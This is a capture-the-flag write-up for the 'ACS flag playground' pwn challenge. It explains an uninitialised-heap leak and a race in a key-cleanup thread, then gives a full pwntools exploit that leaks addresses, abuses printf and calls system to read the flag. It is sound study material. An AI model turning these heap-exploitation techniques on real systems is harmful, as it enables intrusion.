# ACS ## ACS flag playground * The first bug is that in `add_flag` function ![Screenshot 2024-11-19 173314](https://hackmd.io/_uploads/HJRtFk5Myx.png) * It doesn't initialize old data of chunk returned by malloc, we can get heap leak of this * Since libc is 2.35 version so we have to deofuscate ```python= def deobfuscate(val): mask = 0xfff << 52 while mask: v = val & mask val ^= (v >> 12) mask >>= 12 return val ``` * That's all we can get by that bug. The second bug is in the thread setup at the start of the program ![Screenshot 2024-11-19 173314](https://hackmd.io/_uploads/Bkmwc1qGyx.png) * It will clean up the key after each 15 sec * The bug is that it stop 1 sec after handle a key ![image](https://hackmd.io/_uploads/SJNqqyqzJg.png) * So in this stop, we can change the keys(delete, edit, ...) * The problem is that it may crash when it comes to function `increment` if we delete not correct:v * After many hours fuzzing, i can exploit it without make it crash * It depends on the order of note it will handle, run program i see that it will handle the key by `randnum` * So that i need to setup the keys before * Here's is how i leak elf(by printing the func pointer of key) ```python= while True: arr = [] r1, a = add_key(10, b'A', 2) while(r1 > 500): del_key(r1) r1, a = add_key(10, b'A', 2) r2, a = add_key(10, b'A', 2) while(r2 <= r1 or r2 > 1500): del_key(r2) r2, a = add_key(10, b'A', 2) r3, a = add_key(10, b'A', 2) while(r3 <= r2 or r3 > 2500): del_key(r3) r3, a = add_key(10, b'A', 2) r4, a = add_key(10, b'A', 2) while(r4 < r3 or r4 > 3300): del_key(r4) r4, a = add_key(10, b'A', 2) r5, a = add_key(10, b'A', 2) while(r5 < r4): del_key(r5) r5, a = add_key(10, b'A', 2) # r5, a = add_key(10, b'A', 2) arr.append(r1) arr.append(r2) arr.append(r3) arr.append(r4) arr.append(r5) # print(r1) # print(r2) # print(r3) # print(r4) arr.sort() break # print(arr) # print(arr) # context.log_level = 'debug' print('Done') # GDB(p) payload = b'3\n' + f'{arr[1]}'.encode() + b'\n' payload += b'3\n' + f'{arr[2]}'.encode() + b'\n' # payload += b'3\n' + f'{arr[3]}'.encode() + b'\n' payload += b'3\n' + f'{arr[0]}'.encode() + b'\n' payload += b'1\n' + b'24\n' + b'B'*25 + b'3\n' # payload += b'1\n' + b'24\n' + b'X'*24 + b'\xc0' + b'3\n' payload += b'1\n' + b'24\n' + p64(3) + p64(0x11111) + b'A'*8 + b'\xc0' + b'3\n' # payload += b'1\n' + b'24\n' + b'X'*24 + b'\xc0' + b'1\n' ru(B'CoolBreak') ru(B'CoolBreak') s(payload) # p.interactive() ru(b'invalid finder, ') leak = r(6) # if b'\xc0' not in leak: # print('Fail') # p.close() # continue leak = int_from_bytes(leak) print('leak: ', hex(leak)) ``` * Setup keys in order then delete when the thread stop * I do the same when i leak libc and call system * I dont know why when i call `system('/bin/sh')` it didn't work so i have to call `system('cat /home/acs_user/flag')` ```python= #!/usr/bin/python3 from pwn import * sla = lambda delim, data: p.sendlineafter(delim, data) sa = lambda delim, data: p.sendafter(delim, data) s = lambda data: p.send(data) sl = lambda data: p.sendline(data) r = lambda nbytes: p.recv(nbytes) ru = lambda data: p.recvuntil(data) rl = lambda : p.recvline() elf = context.binary = ELF('prob', checksec=False) libc = ELF('libc.so.6', checksec=False) base = None libcbase = None def int_from_bytes(bytes): return int.from_bytes(bytes, byteorder='little') def get_exe_base(pid): maps_file = f"/proc/{pid}/maps" exe_base = None with open(maps_file, 'r') as f: exe_base = int(f.readline().split('-')[0], 16) if exe_base is None: raise Exception("Executable base address not found.") return exe_base def get_libc(pid): maps_file = f"/proc/{pid}/maps" exe_base = None with open(maps_file, 'r') as f: while True: data = f.readline() # print(data) if 'libc.so.6' not in data: continue exe_base = int(data.split('-')[0], 16) break if exe_base is None: raise Exception("Executable base address not found.") return exe_base def rop_binsh(no_ret=1): rop = ROP(libc) ret = rop.find_gadget(['ret']) #rop.raw(rop.find_gadget(["pop rbp", "ret"])) for i in range(no_ret): rop.raw(ret) rop.system(next(libc.search(b'/bin/sh\x00'))) def deobfuscate(val): mask = 0xfff << 52 while mask: v = val & mask val ^= (v >> 12) mask >>= 12 return val def add_key(size, key, type=1): #sla(B'select one', b'1') sl(B'1') sla(b'finder', str(size).encode()) sa(b'keyword', key) sla(b'Type of your keyword', str(type).encode()) ru(b'keyword is ') leak = ru(b'.')[:-1] ru(b'identification number is ') num = ru(B'.')[:-1] num = int(num.decode(), 10) return num, leak def del_key(key): sl(B'3') sla(b'identification', str(key).encode()) def modify(key, type=1): sl(b'2') sla(b'identification number', str(key).encode()) sla(B'type plz ', str(type).encode()) def GDB(proc): if not args.REMOTE: print(hex(libcbase + 0x219c80)) gdb.attach(p, gdbscript=f''' #set *({0x2A02 + base})=4 b *({base} + 0x2b23) b *({base} + 0x2abd) c heap set-arena {libcbase + 0x219c80} ''') while True: if args.REMOTE: p = remote(sys.argv[1], sys.argv[2]) else: p = process(stdin=PTY) sleep(1) base = get_exe_base(p.pid) libcbase = get_libc(p.pid) print('libc: ', hex(libcbase)) r1, a = add_key(10, b'hihi', 1) r2, a = add_key(10, b'x', 1) while(r2 > r1): del_key(r2) r2, a = add_key(10, b'A', 2) print(r1) print(r2) del_key(r1) del_key(r2) r3, leak = add_key(24, b'A') leak = int_from_bytes(leak) print('leak: ', hex(leak)) for i in range(0x100): # print(hex(i) + ': ', end='') # print(hex(deobfuscate((leak & 0xffffffffffffff00) + i))) val = deobfuscate((leak & 0xffffffffffffff00) + i) if(val & 0xfff) == 0: break print('Val: ', hex(val)) heap = val - 0x12000 print('heap: ', hex(heap)) del_key(r3) #context.log_level = 'debug' # r1, a = add_key(10, b'X', 1) # add_key(5, b'A', 2) # add_key(5, b'A', 2) ru(b'SEND SYSTEM END') while True: arr = [] r1, a = add_key(10, b'A', 2) while(r1 > 500): del_key(r1) r1, a = add_key(10, b'A', 2) r2, a = add_key(10, b'A', 2) while(r2 <= r1 or r2 > 1500): del_key(r2) r2, a = add_key(10, b'A', 2) r3, a = add_key(10, b'A', 2) while(r3 <= r2 or r3 > 2500): del_key(r3) r3, a = add_key(10, b'A', 2) r4, a = add_key(10, b'A', 2) while(r4 < r3 or r4 > 3300): del_key(r4) r4, a = add_key(10, b'A', 2) r5, a = add_key(10, b'A', 2) while(r5 < r4): del_key(r5) r5, a = add_key(10, b'A', 2) # r5, a = add_key(10, b'A', 2) arr.append(r1) arr.append(r2) arr.append(r3) arr.append(r4) arr.append(r5) # print(r1) # print(r2) # print(r3) # print(r4) arr.sort() break # print(arr) # print(arr) # context.log_level = 'debug' print('Done') # GDB(p) payload = b'3\n' + f'{arr[1]}'.encode() + b'\n' payload += b'3\n' + f'{arr[2]}'.encode() + b'\n' # payload += b'3\n' + f'{arr[3]}'.encode() + b'\n' payload += b'3\n' + f'{arr[0]}'.encode() + b'\n' payload += b'1\n' + b'24\n' + b'B'*25 + b'3\n' # payload += b'1\n' + b'24\n' + b'X'*24 + b'\xc0' + b'3\n' payload += b'1\n' + b'24\n' + p64(3) + p64(0x11111) + b'A'*8 + b'\xc0' + b'3\n' # payload += b'1\n' + b'24\n' + b'X'*24 + b'\xc0' + b'1\n' ru(B'CoolBreak') ru(B'CoolBreak') s(payload) # p.interactive() ru(b'invalid finder, ') leak = r(6) # if b'\xc0' not in leak: # print('Fail') # p.close() # continue leak = int_from_bytes(leak) print('leak: ', hex(leak)) ru(B'CoolBreak') # payload = b'3\n' + f'{arr[3]}'.encode() + b'\n' # payload += b'3\n' + f'{arr[2]}'.encode() + b'\n' # payload += b'3\n' + f'{arr[1]}'.encode() + b'\n' # payload += b'3\n' + f'{arr[4]}'.encode() + b'\n' # s(payload*3) elf.address = leak - 0x37c0 print('elf: ', hex(elf.address)) ru(b'SEND SYSTEM END') print('here') # pause() while True: arr = [] r1, a = add_key(10, b'A', 2) while(r1 > 500): del_key(r1) r1, a = add_key(10, b'A', 2) r2, a = add_key(10, b'A', 2) while(r2 <= r1 or r2 > 1500): del_key(r2) r2, a = add_key(10, b'A', 2) r3, a = add_key(10, b'A', 2) while(r3 <= r2 or r3 > 1500): del_key(r3) r3, a = add_key(10, b'A', 2) r4, a = add_key(10, b'A', 2) while(r4 < r3 or r4 > 3300): del_key(r4) r4, a = add_key(10, b'A', 2) r5, a = add_key(10, b'A', 2) while(r5 < r4): del_key(r5) r5, a = add_key(10, b'A', 2) # r5, a = add_key(10, b'A', 2) arr.append(r1) arr.append(r2) arr.append(r3) arr.append(r4) arr.append(r5) # print(r1) # print(r2) # print(r3) # print(r4) arr.sort() break # print(arr) # print(arr) # context.log_level = 'debug' print('Done') # GDB(p) CALL_FUNC = elf.address + 0x2B1C payload = b'3\n' + f'{arr[1]}'.encode() + b'\n' payload += b'3\n' + f'{arr[2]}'.encode() + b'\n' payload += b'3\n' + f'{arr[3]}'.encode() + b'\n' payload += b'1\n' + b'24\n' + b'B'*25 + b'3\n' # payload += b'1\n' + b'24\n' + b'X'*24 + b'\xc0' + b'3\n' payload += b'1\n' + b'24\n' + p64(1) + p64(0x11111) + p64(elf.plt['printf']) + b'\xe0' + b'3\n' payload += b'1\n' + b'10\n' + b'W%3$pW'.ljust(11, b'W') + b'3\n' payload += b'1\n' + b'10\n' + b'W%3$pW'.ljust(11, b'W') + b'3\n' payload += b'1\n' + b'10\n' + b'W%3$pW'.ljust(11, b'W') + b'3\n' # ru(f'identification number {arr[0]}'.encode()) ru(B'CoolBreak') ru(B'CoolBreak') s(payload) ru(b'0x') leak = '0x' + r(12).decode() leak = int(leak, 16) print('leak: ', hex(leak)) libc.address = leak - 0x114a6f print('libc: ', hex(libc.address)) ru(b'SEND SYSTEM END') print('F') # input("Send") # pause() # GDB(p) arr = [] r1, a = add_key(10, b'A', 2) while(r1 > 1000): del_key(r1) r1, a = add_key(10, b'A', 2) r2, a = add_key(10, b'A', 2) while(r2 <= r1 or r2 > 2500): del_key(r2) r2, a = add_key(10, b'A', 2) r3, a = add_key(10, b'A', 2) while(r3 <= r2 or r3 > 3500): del_key(r3) r3, a = add_key(10, b'A', 2) # r4, a = add_key(10, b'A', 2) # while(r4 < r3): # del_key(r4) # r4, a = add_key(10, b'A', 2) arr.append(r1) arr.append(r2) arr.append(r3) # arr.append(r4) arr.sort() context.log_level = 'debug' payload = b'3\n' + f'{arr[1]}'.encode() + b'\n' payload += b'3\n' + f'{arr[2]}'.encode() + b'\n' # payload += b'3\n' + f'{arr[0]}'.encode() + b'\n' # payload += b'1\n' + b'24\n' + b'B'*25 + b'3\n' payload += b'1\n' + b'24\n' + p64(1) + b'/bin/sh\x00'.ljust(8, b'\x00') + p64(libc.sym['system']) + b'\x70' + b'3\n' # payload += b'1\n' + b'24\n' + b'X'*24 + b'\xc0' + b'3\n' payload += b'1\n' + b'24\n' + b'cat /home/acs_ctf/flag\x00'.ljust(25, b'\x00') + b'3\n' ru(B'CoolBreak') ru(B'CoolBreak') sl(payload) # sl(b'cat /home/acs_ctf/flag') p.interactive() ```